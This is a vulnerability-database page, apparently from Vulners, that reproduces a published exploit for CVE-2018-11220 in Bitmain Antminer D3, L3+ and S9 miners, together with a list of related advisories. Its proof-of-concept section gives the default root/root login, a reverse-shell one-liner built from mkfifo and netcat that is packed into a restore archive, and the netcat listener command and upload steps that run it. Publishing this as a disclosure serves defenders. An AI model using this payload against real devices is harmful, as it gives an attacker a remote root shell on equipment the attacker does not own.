Lucene search
+L

Bitmain Antminer D3L3+S9 - Remote Command Execution

🗓️ 27 May 2018 00:00:00Reported by CorryLType 
exploitpack
 exploitpack
👁 57 Views

Bitmain Antminer D3, L3+, S9 Remote Command Execution via Restore Backu

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Bitmain Antminer D3/L3+/S9 - Remote Command Execution Vulnerability
28 May 201800:00
–zdt
cnvd
CNVD
Bitmain Antminer D3, L3+ and S9 Code Execution Vulnerabilities
4 Jun 201800:00
–cnvd
cve
CVE
CVE-2018-11220
31 May 201815:00
–cve
cvelist
Cvelist
CVE-2018-11220
31 May 201815:00
–cvelist
exploitdb
Exploit DB
Bitmain Antminer D3/L3+/S9 - Remote Command Execution
27 May 201800:00
–exploitdb
nvd
NVD
CVE-2018-11220
31 May 201815:29
–nvd
packetstorm
Packet Storm
Bitmain Antminer D3/L3+/S9 Remote Command Execution
27 May 201800:00
–packetstorm
prion
Prion
Command injection
31 May 201815:29
–prion
ptsecurity
Positive Technologies
PT-2018-10404
31 May 201800:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-11220: Undefined Security Weakness
31 May 201800:00
–rapid7
Rows per page
# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage: https://www.bitmain.com/
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220

#Description

The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative
privileges.

#POC

Login on Antminer Configuration Portal (Default Credential: root/root)

1) Create a file named:

restoreConfig.sh

2) insert inside:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port
>/tmp/f

3) Generate archive by inserting the file created before:

Exploit.tar

4) Launch net cat and upload file:

nc -vv -l -p port

system --> upgrade --> upload archive

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation